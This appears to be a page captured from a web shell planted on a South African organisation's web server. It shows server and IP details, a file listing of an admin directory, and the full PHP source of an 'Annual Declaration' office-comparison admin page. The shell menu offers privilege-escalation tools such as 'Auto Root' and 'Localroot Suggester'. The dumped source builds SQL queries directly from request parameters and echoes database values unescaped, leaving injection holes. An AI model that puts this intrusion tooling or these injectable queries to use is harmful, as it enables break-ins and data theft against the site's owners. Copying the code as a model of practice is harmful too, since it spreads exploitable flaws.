Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
echasl23 /
annualdec /
Delete
Unzip
Name
Size
Permission
Date
Action
inc
[ DIR ]
drwxr-sr-x
2020-06-06 16:09
pics
[ DIR ]
drwxr-sr-x
2010-05-27 06:26
print
[ DIR ]
drwxr-sr-x
2020-06-06 16:09
ADMarkComplete.php
619
B
-rw-r--r--
2020-01-08 10:39
ADMarkComplete.php4
636
B
-rw-r--r--
2010-05-28 10:40
ADaddDone.php
3.82
KB
-rw-r--r--
2020-01-08 10:39
ADaddDone.php4
3.92
KB
-rw-r--r--
2010-05-28 10:40
ADdeleteDone.php
3.56
KB
-rw-r--r--
2020-01-08 10:39
ADdeleteDone.php4
3.66
KB
-rw-r--r--
2010-05-28 10:40
ADdisplayContacts.php
44.02
KB
-rw-r--r--
2025-08-19 08:12
ADdisplayContacts.php4
27.08
KB
-rw-r--r--
2015-09-16 09:06
ADdisplayContactsTable.php
2.7
KB
-rw-r--r--
2020-01-08 10:39
ADdisplayContactsTable.php4
2.7
KB
-rw-r--r--
2015-04-08 08:21
ADdisplayDone.php
2.24
KB
-rw-r--r--
2020-01-08 10:39
ADdisplayDone.php4
2.29
KB
-rw-r--r--
2010-05-28 10:40
ADdisplayHelp.php
1.26
KB
-rw-r--r--
2020-01-08 10:39
ADdisplayHelp.php4
1.31
KB
-rw-r--r--
2010-05-28 10:31
ADdisplayMemberFirm.php
50.47
KB
-rw-r--r--
2025-12-29 10:37
ADdisplayMemberFirm.php4
59.25
KB
-rw-r--r--
2019-02-25 07:51
ADdisplayOfficeContactsTable.php
3.41
KB
-rw-r--r--
2020-01-08 10:39
ADdisplayOfficeContactsTable.php4
3.41
KB
-rw-r--r--
2015-04-08 08:22
ADdisplayOffices.php
43.24
KB
-rw-r--r--
2025-03-05 14:36
ADdisplayOffices.php4
26.64
KB
-rw-r--r--
2015-04-08 08:23
ADdisplayTest.php
1.17
KB
-rw-r--r--
2020-01-08 10:39
ADdisplayTest.php4
1.21
KB
-rw-r--r--
2010-05-28 10:40
ADdisplayrecords.php
10.24
KB
-rw-r--r--
2025-04-24 11:04
ADdisplayrecords.php4
3.94
KB
-rw-r--r--
2013-04-16 08:09
ADdisplaytblMemberFirmOffices.php
3.63
KB
-rw-r--r--
2025-03-14 16:58
ADdisplaytblMemberFirmOffices.php4
3.56
KB
-rw-r--r--
2015-04-08 08:23
ADdisplaytblMemberFirms.php
3.73
KB
-rw-r--r--
2020-01-08 10:39
ADdisplaytblMemberFirms.php4
3.73
KB
-rw-r--r--
2015-04-08 08:23
ADeditDone.php
3.71
KB
-rw-r--r--
2020-01-08 10:39
ADeditDone.php4
3.81
KB
-rw-r--r--
2010-05-28 10:40
ADfixDisplayTable.php
14.88
KB
-rw-r--r--
2020-01-08 10:39
ADfixDisplayTable.php4
15.27
KB
-rw-r--r--
2010-05-28 10:40
ShadeTable.js
535
B
-rw-r--r--
2010-05-28 10:31
accept.jpg
638
B
-rw-r--r--
2010-05-28 10:31
annualdec.php
935
B
-rw-r--r--
2020-01-08 10:39
annualdec.php4
966
B
-rw-r--r--
2010-05-28 10:31
decline.jpg
723
B
-rw-r--r--
2010-05-28 10:31
next.jpg
491
B
-rw-r--r--
2010-05-28 10:31
previous.jpg
562
B
-rw-r--r--
2010-05-28 10:31
Save
Rename
<html> <head> <title>Annual Declaration Admin page</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <style> .DarkShading { BACKGROUND-COLOR: #dceddc } </style> </head> <body bgcolor="#FFFFFF" text="#000000"> <?php // ini_set('display_errors', 1); // error_reporting(E_ALL); include("inc/log_query.php"); include( 'inc/database.inc' ); mysql_connect("$host", "$user", "$password") or die("Unable to connect to SQL server"); mysql_select_db("$db") or die("Unable to select database"); $Mn1 = date("M d Y g:iA"); $currentYear = $_REQUEST['selectYear']; $OfficeID = $_REQUEST['OfficeID']; if ($currentYear <= 0) { $currentYear = date('Y'); } $tableName = 'ADec_tblMemberFirmOffices'; $tableNameMembers = 'ADec_tblMemberFirms'; $tableNameContacts = 'ADec_OfficeContacts'; $tableNameDone = 'ADec_Done'; $tableNameDoneLocal = 'ADec_Done_Local'; $tableWhere = ''; //" AND OfficeName NOT LIKE '%DELETED%' "; if ($currentYear <= 2022) { $tableName = 'ADec_tblMemberFirmOffices_' . $currentYear; $tableNameMembers = 'ADec_tblMemberFirms_' . $currentYear; $tableNameContacts = 'ADec_OfficeContacts_' . $currentYear; $tableNameDone = 'ADec_Done' . $currentYear; $tableNameDoneLocal = 'ADec_Done_Local' . $currentYear; } elseif ($currentYear == 2023) { $tableName = 'ADec_tblMemberFirmOffices_Prev'; $tableNameMembers = 'ADec_tblMemberFirms_Prev'; $tableNameContacts = 'ADec_OfficeContacts_Prev'; $tableNameDone = 'ADec_Done_Prev'; $tableNameDoneLocal = 'ADec_Done_Local_Prev'; } else { // $tableWhere .= ' AND DeclarationYear = ' . $currentYear; } $Zquery = "SELECT FirmID, Prev_FirmID FROM $tableNameMembers WHERE FirmID = '$FirmID'"; $Zresult = mysql_query($Zquery) or die("Select of id Failed"); $zs = mysql_fetch_array($Zresult); $Prev_FirmID = $zs['Prev_FirmID']; if ($action == "UNDELETE") { $updatequery = "UPDATE $tableName SET OfficeName = REPLACE(OfficeName, '- *** DELETED ***', '') WHERE FirmID = '$FirmID' AND OfficeID = '$OfficeID'"; // echo $updatequery; // exit; $Upresult = mysql_query($updatequery) or die("Undelete of office failed"); // log_query($updatequery); } if (($action == "next") || ($action == "prev") || ($action == "return")) { if ($action == "return") { // Get the FirmID $Firmquery = "SELECT FirmID FROM $tableName WHERE OfficeID = '$OfficeID' $tableWhere"; $Firmresult = mysql_query($Firmquery) or die("Select of id Failed"); $FirmRows = mysql_num_rows($Firmresult); $FirmRs = mysql_fetch_array($Firmresult); $FirmID = $FirmRs['FirmID']; } // Number of new offices $numnewquery = "SELECT * FROM $tableName WHERE FirmID = '$FirmID' $tableWhere"; $numnewresult = mysql_query($numnewquery) or die("Select of id Failed"); $numnewcnt = mysql_num_rows($numnewresult); // echo 'Please ignore debug info: ' . $numnewquery . '<br />'; if ($action == "next") { $Bquery = "SELECT * FROM $tableName WHERE FirmID = '$FirmID' AND OfficeID > '$OfficeID2' $tableWhere ORDER BY OfficeID ASC"; $Bresult = mysql_query($Bquery) or die("Select of id Failed"); $bsRows = mysql_num_rows($Bresult); $bs = mysql_fetch_array($Bresult); $OfficeID = $bs['OfficeID']; $Prev_OfficeID = $bs['Prev_OfficeID']; $Prev_FirmID = $bs['Prev_FirmID']; } elseif ($action == "return") { $Bquery = "SELECT * FROM $tableName WHERE FirmID = '$FirmID' AND OfficeID >= '$OfficeID' $tableWhere ORDER BY OfficeID ASC"; $Bresult = mysql_query($Bquery) or die("Select of id Failed"); $bsRows = mysql_num_rows($Bresult); $bs = mysql_fetch_array($Bresult); $OfficeID = $bs['OfficeID']; $Prev_OfficeID = $bs['Prev_OfficeID']; $Prev_FirmID = $bs['Prev_FirmID']; } elseif ($action == "prev") { $Bquery = "SELECT * FROM $tableName WHERE FirmID = '$FirmID' AND OfficeID < '$OfficeID2' $tableWhere ORDER BY OfficeID DESC"; $Bresult = mysql_query($Bquery) or die("Select of id Failed"); $bsRows = mysql_num_rows($Bresult); $bs = mysql_fetch_array($Bresult); $OfficeID = $bs['OfficeID']; $Prev_OfficeID = $bs['Prev_OfficeID']; $Prev_FirmID = $bs['Prev_FirmID']; } if ($Prev_FirmID == "") { $Zquery = "SELECT FirmID, Prev_FirmID FROM $tableNameMembers WHERE FirmID = '$FirmID'"; $Zresult = mysql_query($Zquery) or die("Select of id Failed"); $zs = mysql_fetch_array($Zresult); $Prev_FirmID = $zs['Prev_FirmID']; } $UXquery = "SELECT * FROM tblMemberFirmOffices WHERE FirmID = '$Prev_FirmID'"; $UXresult = mysql_query($UXquery) or die("Select of id Failed"); $xsRows = mysql_num_rows($UXresult); // Do we need to recalculate the row counter? if (!$rowcounter) { $countquery = "SELECT COUNT(*) FROM $tableName WHERE FirmID = '$FirmID' AND OfficeID < '$OfficeID' $tableWhere"; $countarray = mysql_query($countquery) or die("Select of id Failed"); $countresult = mysql_fetch_array($countarray); $rowcounter = $countresult[0] + 1; } } else { $rowcounter = 1; // Number of new offices $numnewquery = "SELECT * FROM $tableName WHERE FirmID = '$FirmID' $tableWhere"; $numnewresult = mysql_query($numnewquery) or die("Select of id Failed"); $numnewcnt = mysql_num_rows($numnewresult); // echo 'Please ignore debug info: ' . $numnewquery . '<br />'; $Bquery = "SELECT * FROM $tableName WHERE FirmID = '$FirmID' $tableWhere ORDER BY OfficeID"; // echo 'Please ignore debug info: ' . $Bquery . '<br />'; $Bresult = mysql_query($Bquery) or die("Select of id Failed"); $bsRows = mysql_num_rows($Bresult); $bs = mysql_fetch_array($Bresult); $OfficeID = $bs['OfficeID']; $Prev_OfficeID = $bs['Prev_OfficeID']; $Prev_FirmID = $bs['Prev_FirmID']; if ($Prev_FirmID == "") { $Zquery = "SELECT FirmID, Prev_FirmID FROM $tableNameMembers WHERE FirmID = '$FirmID'"; $Zresult = mysql_query($Zquery) or die("Select of id Failed"); $zs = mysql_fetch_array($Zresult); $Prev_FirmID = $zs['Prev_FirmID']; } } // echo $Xquery; // Define the content $name1 = $bs['OfficeID']; $name2 = $bs['FirmID']; $name3 = $bs['OfficeName']; $name4 = $bs['OfficeStatus']; $name5 = $bs['FullOrPartTime']; $name6 = $bs['Language']; $name7 = $bs['BldgName']; $name8 = $bs['StreetName']; $name9 = $bs['Suburb']; $name10 = $bs['GeoLocation']; $name11 = $bs['Province']; $name12 = $bs['GeoLocationLocal']; $name13 = $bs['GeoLocationDistrict']; $name14 = $bs['PostalAddress']; $name15 = $bs['Address2']; $name16 = $bs['TownCity']; $name17 = $bs['PostalCode']; $name18 = $bs['Telephone']; $name19 = $bs['Fax']; $name20 = $bs['Email']; $name21 = $bs['HRName']; $name22 = $bs['HREmail']; $name26 = $bs['Country']; $name27 = $bs['HoldingCompany']; $name28 = $bs['Fidic'] . ""; $name23 = $bs['ProfessionalStaff']; $name24 = $bs['NonProfTechStaff']; $name25 = $bs['OtherStaff']; if ($something == "ACCEPT" && $currentYear == date('Y')) { // echo $Prev_OfficeID." ".$name1." ".$name2." ".$name3." ".$name4." ".$name5." ".$name6." ".$name7." ".$name8." ".$name9." ".$name10." ".$name11." ".$name12." ".$name13." ".$name14." ".$name15." ".$name16." ".$name17." ".$name18." ".$name19." ".$name20; // Check if the office exists $Origquery = "SELECT * FROM tblMemberFirmOffices WHERE FirmID = '$Prev_FirmID' AND OfficeID = '$Prev_OfficeID'"; // echo $Origquery; $Origresult = mysql_query($Origquery) or die("Select of id Failed"); $origexists = mysql_num_rows($Origresult); // echo($origexists); // die(); if ($origexists > 0) { //update it $updatequery = "UPDATE tblMemberFirmOffices SET OfficeName = '" . addslashes($name3) . "', OfficeStatus = '" . addslashes($name4) . "', FullOrPartTime = '" . addslashes($name5) . "', BldgName = '" . addslashes($name7) . "', StreetName = '" . addslashes($name8) . "', Suburb = '" . addslashes($name9) . "', GeoLocation = '" . addslashes($name10) . "', Province = '" . addslashes($name11) . "', GeoLocationLocal = '" . addslashes($name12) . "', GeoLocationDistrict = '" . addslashes($name13) . "', PostalAddress = '" . addslashes($name14) . "', Address2 = '" . addslashes($name15) . "', TownCity = '" . addslashes($name16) . "', PostalCode = '" . addslashes($name17) . "', Telephone = '" . addslashes($name18) . "', Fax = '" . addslashes($name19) . "', Email = '" . addslashes($name20) . "', HRName = '" . addslashes($name21) . "', HREmail = '" . addslashes($name22) . "', ProfessionalStaff = '" . addslashes($name23) . "', NonProfTechStaff = '" . addslashes($name24) . "', Country = '" . addslashes($name26) . "', OtherStaff = '" . addslashes($name25) . "', HoldingCompany = '" . addslashes($name27) . "', Fidic = '" . addslashes($name28) . "' WHERE OfficeID = '$Prev_OfficeID'"; // die($updatequery); $Upresult = mysql_query($updatequery) or die("Update of records failed"); } else { // New record // add it $updatequery = "INSERT INTO tblMemberFirmOffices (FirmID, OfficeName, OfficeStatus, FullOrPartTime, BldgName, StreetName, Suburb, GeoLocation, Province, GeoLocationLocal, GeoLocationDistrict, PostalAddress, Address2, TownCity, PostalCode, Telephone, Fax, Email, HRName, HREmail, ProfessionalStaff, NonProfTechStaff, Country, OtherStaff, HoldingCompany, Fidic) VALUES ('$Prev_FirmID','" . addslashes($name3) . "', '" . addslashes($name4) . "','" . addslashes($name5) . "','" . addslashes($name7) . "','" . addslashes($name8) . "','" . addslashes($name9) . "', " . "'" . addslashes($name10) . "', '" . addslashes($name11) . "','" . addslashes($name12) . "','" . addslashes($name13) . "','" . addslashes($name14) . "', " . "'" . addslashes($name15) . "','" . addslashes($name16) . "','" . addslashes($name17) . "','" . addslashes($name18) . "','" . addslashes($name19) . "', " . "'" . addslashes($name20) . "','" . addslashes($name21) . "','" . addslashes($name22) . "', '" . addslashes($name23) . "','" . addslashes($name24) . "', " . "'" . addslashes($name26) . "', '" . addslashes($name25) . "','" . addslashes($name27) . "','" . addslashes($name28) . "')"; $Upresult = mysql_query($updatequery) or die("Insert of record failed"); // Get new OfficeID $query = "SELECT MAX(OfficeID) AS OfficeID FROM tblMemberFirmOffices"; $result = mysql_query($query) or die("Scope_Identity Failed"); $row = mysql_fetch_array($result); $NewOfficeID = $row[0]; echo('NewOfficeID=' . $NewOfficeID); $Prev_OfficeID = $NewOfficeID; $updatequery = "UPDATE $tableName SET Prev_OfficeID='$NewOfficeID' WHERE FirmID='$FirmID' AND OfficeID='$OfficeID'"; $Upresult = mysql_query($updatequery) or die("Update of record failed"); log_query($updatequery); $updatequery2 = "UPDATE $tableNameContacts SET Prev_OfficeID='$NewOfficeID' WHERE OfficeID='$OfficeID'"; $Upresult2 = mysql_query($updatequery2) or die("Update of record failed"); log_query($updatequery2); $UXquery = "SELECT * FROM tblMemberFirmOffices WHERE FirmID = '$Prev_FirmID'"; $UXresult = mysql_query($UXquery) or die("Select of id Failed"); $xsRows = mysql_num_rows($UXresult); } $updatequery2 = "INSERT INTO $tableNameDoneLocal (RefID,RefType,RefDoc,ADecDate) VALUES ('$OfficeID','OfficeID','UPDATED','$Mn1')"; $Upresult2 = mysql_query($updatequery2) or die("Update of records failed"); //log_query($updatequery2); } if ($something == "DECLINE") { $updatequery2 = "INSERT INTO $tableNameDoneLocal (RefID,RefType,RefDoc,ADecDate) VALUES ('$OfficeID','OfficeID','DECLINE','$Mn1')"; $Upresult2 = mysql_query($updatequery2) or die("Update of records failed"); //log_query($updatequery2); } $Xquery = "SELECT * FROM tblMemberFirmOffices WHERE FirmID = '$Prev_FirmID' AND OfficeID = '$Prev_OfficeID'"; $Xresult = mysql_query($Xquery) or die("Select of id Failed"); $xs = mysql_fetch_array($Xresult); // echo 'Please ignore debug info: ' . $Xquery . '<br />'; // echo "Prev_OfficeID :".$Prev_OfficeID; ?> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td bgcolor="#CCCCCC"> <?php include( 'inc/menu.inc' ); ?> </td> </tr> <tr> <td align="left" valign="top"> <h3><font face="sans-serif" color="#666666">Display Member Firm Office:</font><font face="sans-serif"> <?php echo $bs['OfficeName']; ?> </font></h3> <table width="100%" border="0" cellspacing="0" cellpadding="0" dwcopytype="CopyTableRow"> <tr> <td><b><font face="sans-serif" size="2">Documents Completed <?php $Dquery = "SELECT DISTINCT RefDoc FROM $tableNameDone WHERE RefID = '$OfficeID' AND RefType = 'OfficeID' AND RefDoc NOT IN ('UPDATED', 'DECLINED', 'DECLINE')"; $Dresult = mysql_query($Dquery) or die("Select of id Failed"); while ($ds = mysql_fetch_array($Dresult)) { echo " : " . $ds['RefDoc'] . " "; } $Dquery = "SELECT DISTINCT RefDoc FROM $tableNameDoneLocal WHERE RefID = '$OfficeID' AND RefType = 'OfficeID' AND RefDoc IN ('UPDATED', 'DECLINED', 'DECLINE')"; $Dresult = mysql_query($Dquery) or die("Select of id Failed"); while ($ds = mysql_fetch_array($Dresult)) { echo " : " . $ds['RefDoc'] . " "; } ?> </font><font face="sans-serif"> </font> </b> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table border=0 width=100%> <tr><td> <div align="left"><?php if ($rowcounter > 1) { $NewFile = "ADdisplayOffices.php"; printf("<a href=\"%s?FirmID=%s&OfficeID2=%s&action=prev&rowcounter=%s\")'><img src=previous.jpg border=0><font size=2><b>PREVIOUS</b></font></a>\n", $NewFile, $FirmID, $OfficeID, $rowcounter - 1); } ?> </div> </td><td> <div align="right"><?php if ($rowcounter < $numnewcnt) { $NewFile = "ADdisplayOffices.php"; printf("<a href=\"%s?FirmID=%s&OfficeID2=%s&action=next&rowcounter=%s\")'><font size=2><b>NEXT</b></font><img src=next.jpg border=0></a>\n", $NewFile, $FirmID, $OfficeID, $rowcounter + 1); } ?> </div> </td></tr></table> </td> </tr> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td colspan="2"> <div align="center"><font face="sans-serif" size="2" color="#FF0000">You can ACCEPT or DECLINE the changes here. You can only do this once!</font></div> </td> </tr> <tr> <td width="50%"><font face="sans-serif" size="2"> <?php $NewFile = "ADdisplayOffices.php"; printf("<a href=\"%s?FirmID=%s&OfficeID=%s&action=return&something=DECLINED&rowcounter=%s\")'><img src=decline.jpg border=0><font size=2><b>DECLINE</b></font></a>\n", $NewFile, $FirmID, $OfficeID, $rowcounter); ?> </font></td> <td width="50%"> <div align="right"><font face="sans-serif" size="2"> <?php $NewFile = "ADdisplayOffices.php"; printf("<a href=\"%s?FirmID=%s&OfficeID=%s&action=return&something=ACCEPT&rowcounter=%s\")'><img src=accept.jpg border=0><font size=2><b>ACCEPT</b></font></a>\n", $NewFile, $FirmID, $OfficeID, $rowcounter); ?> </font></div> </td> </tr> </table> <table width="100%" border="1" cellspacing="0" cellpadding="0" id="tblShaded" name="tblShaded"> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF"></font></b></td> <td width="36%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Original <font size="2">( <?php echo $xsRows; ?> record/s) Office ID: <?php echo $xs['OfficeID']; ?></font> </font></b></td> <td width="38%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">New<font size="2"> (record <?php echo $rowcounter . ' of ' . $numnewcnt; ?>)</font> <?php if (strpos($bs['OfficeName'], 'DELETED') !== false) { ?> <a style="color: white;" href="ADdisplayOffices.php?FirmID=<?php echo $FirmID; ?>&OfficeID=<?php echo $OfficeID; ?>&action=UNDELETE">UNDELETE</a> <?php } ?> Office ID: <?php echo $bs['OfficeID']; ?> </font></b></td> </tr> <!-- <tr> <td width="26%" bgcolor="#0000FF"><b><font color="#FFFFFF" face="sans-serif">OfficeID</font></b></td> <td width="36%"> <?php echo $xs['OfficeID']; ?> </td> <td width="38%"> <?php echo $bs['OfficeID']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font color="#FFFFFF" face="sans-serif">FirmID </font></b></td> <td width="36%"> <?php echo $xs['FirmID']; ?> </td> <td width="38%"> <?php echo $bs['FirmID']; ?> </td> </tr>--> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Office Name </font></b></td> <td width="36%"> <?php echo $xs['OfficeName']; ?> </td> <td width="38%"> <?php echo $bs['OfficeName']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Office Status </font></b></td> <td width="36%"> <?php echo $xs['OfficeStatus']; ?> </td> <td width="38%"> <?php echo $bs['OfficeStatus']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Full Or Part Time</font></b></td> <td width="36%"> <?php echo $xs['FullOrPartTime']; ?> </td> <td width="38%"> <?php echo $bs['FullOrPartTime']; ?> </td> </tr> <!-- <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Language</font></b></td> <td width="36%"> <?php echo $xs['Language']; ?> </td> <td width="38%"> <?php echo $bs['Language']; ?> </td> </tr>--> <tr> <td colspan="3" bgcolor="#0000FF"> <div align="center"><b><font face="sans-serif" color="#FFFFFF">Physical Address </font></b></div> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Building</font></b></td> <td width="38%"> <?php echo $xs['BldgName']; ?> </td> <td width="38%"> <?php echo $bs['BldgName']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Street</font></b></td> <td width="38%"> <?php echo $xs['StreetName']; ?> </td> <td width="38%"> <?php echo $bs['StreetName']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Suburb</font></b></td> <td width="38%"> <?php echo $xs['Suburb']; ?> </td> <td width="38%"> <?php echo $bs['Suburb']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">City / Town</font></b></td> <td width="38%"> <?php echo $xs['GeoLocation']; ?> </td> <td width="38%"> <?php echo $bs['GeoLocation']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Province</font></b></td> <td width="38%"> <?php echo $xs['Province']; ?> </td> <td width="38%"> <?php echo $bs['Province']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Local Municipality </font></b></td> <td width="38%"> <?php echo $xs['GeoLocationLocal']; ?> </td> <td width="38%"> <?php echo $bs['GeoLocationLocal']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">District / Metropolitan Council</font></b></td> <td width="38%"> <?php echo $xs['GeoLocationDistrict']; ?> </td> <td width="38%"> <?php echo $bs['GeoLocationDistrict']; ?> </td> </tr> <tr> <td bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Country</font></b></td> <td> <?php echo $xs['Country']; ?> </td> <td> <?php echo $bs['Country']; ?> </td> </tr> <tr> <td colspan="3" bgcolor="#0000FF"> <div align="center"><b><font face="sans-serif" color="#FFFFFF">Postal Address </font></b></div> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">PO Box </font></b></td> <td width="38%"> <?php echo $xs['PostalAddress']; ?> </td> <td width="38%"> <?php echo $bs['PostalAddress']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">extended</font></b></td> <td width="38%"> <?php echo $xs['Address2']; ?> </td> <td width="38%"> <?php echo $bs['Address2']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Town / City</font></b></td> <td width="38%"> <?php echo $xs['TownCity']; ?> </td> <td width="38%"> <?php echo $bs['TownCity']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Code</font></b></td> <td width="38%"> <?php echo $xs['PostalCode']; ?> </td> <td width="38%"> <?php echo $bs['PostalCode']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Telephone</font></b></td> <td width="38%"> <?php echo $xs['Telephone']; ?> </td> <td width="38%"> <?php echo $bs['Telephone']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Fax</font></b></td> <td width="38%"> <?php echo $xs['Fax']; ?> </td> <td width="38%"> <?php echo $bs['Fax']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">E-mail</font></b></td> <td width="38%"> <?php echo $xs['Email']; ?> </td> <td width="38%"> <?php echo $bs['Email']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Holding Company</font></b></td> <td width="36%"> <?php echo $xs['HoldingCompany']; ?> </td> <td width="38%"> <?php echo $bs['HoldingCompany']; ?> </td> </tr> <?php if ($xs['SaaceBranch'] . "" == "International") { ?> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Member of local Fidic</font></b></td> <td width="36%"> <?php echo $xs['Fidic']; ?> </td> <td width="38%"> <?php echo $bs['Fidic']; ?> </td> </tr> <?php } ?> <tr> <td colspan="3" bgcolor="#0000FF"> <div align="center"><b><font face="sans-serif" color="#FFFFFF">Human Resources/ Training</font></b></div> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">Name of Person</font></b></td> <td width="36%"> <?php echo $xs['HRName']; ?> </td> <td width="36%"> <?php echo $bs['HRName']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#0000FF"><b><font face="sans-serif" color="#FFFFFF">E-mail of Person</font></b></td> <td width="36%"> <?php echo $xs['HREmail']; ?> </td> <td width="36%"> <?php echo $bs['HREmail']; ?> </td> </tr> <tr bgcolor="#00CCFF"> <td colspan="3"> <div align="center"><b><font face="sans-serif" color="#FFFFFF">Staff Totals (Page 2)</font></b> </div> </td> </tr> <tr> <td width="26%" bgcolor="#00CCFF"><b><font face="sans-serif" color="#FFFFFF">Professional Staff </font></b></td> <td width="36%"> <?php echo $xs['ProfessionalStaff']; ?> </td> <td width="36%"> <?php echo $bs['ProfessionalStaff']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#00CCFF"><b><font face="sans-serif" color="#FFFFFF">Non-Professional Staff </font></b></td> <td width="36%"> <?php echo $xs['NonProfTechStaff']; ?> </td> <td width="36%"> <?php echo $bs['NonProfTechStaff']; ?> </td> </tr> <tr> <td width="26%" bgcolor="#00CCFF"><b><font face="sans-serif" color="#FFFFFF">Other Staff </font></b></td> <td width="36%"> <?php echo $xs['OtherStaff']; ?> </td> <td width="36%"> <?php echo $bs['OtherStaff']; ?> </td> </tr> <tr> <td colspan="3"> <div align="center"><font face="sans-serif"><b>Click here to view all the <?php $NewFile = "ADdisplayContacts.php"; printf("<a href=\"%s?OfficeID=%s&selectYear=$currentYear\")'><font size=2><b><u>CONTACTS</u></b></font></a>\n", $NewFile, $OfficeID); ?> for this Office </b></font></div> </td> </tr> </table> </td> </tr> <tr> <td> </td> </tr> </table> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td colspan="2"> <div align="center"><font face="sans-serif" size="2" color="#FF0000">You can ACCEPT or DECLINE the changes here. You can only do this once!</font></div> </td> </tr> <tr> <td width="50%"><font face="sans-serif" size="2"> <?php $NewFile = "ADdisplayOffices.php"; printf("<a href=\"%s?FirmID=%s&OfficeID=%s&action=return&something=DECLINED&rowcounter=%s\")'><img src=decline.jpg border=0><font size=2><b>DECLINE</b></font></a>\n", $NewFile, $FirmID, $OfficeID, $rowcounter); ?> </font></td> <td width="50%"> <div align="right"><font face="sans-serif" size="2"> <?php $NewFile = "ADdisplayOffices.php"; printf("<a href=\"%s?FirmID=%s&OfficeID=%s&action=return&something=ACCEPT&rowcounter=%s\")'><img src=accept.jpg border=0><font size=2><b>ACCEPT</b></font></a>\n", $NewFile, $FirmID, $OfficeID, $rowcounter); ?> </font></div> </td> </tr> </table> </td> </tr> <tr> <td bgcolor="#CCCCCC"><?php include( 'inc/footer.inc' ); ?></td> </tr> </table> <script language="javascript" src="ShadeTable.js"></script> <script language="javascript"> ShadeTable(document.getElementsByName("tblShaded")); </script> </body> </html>
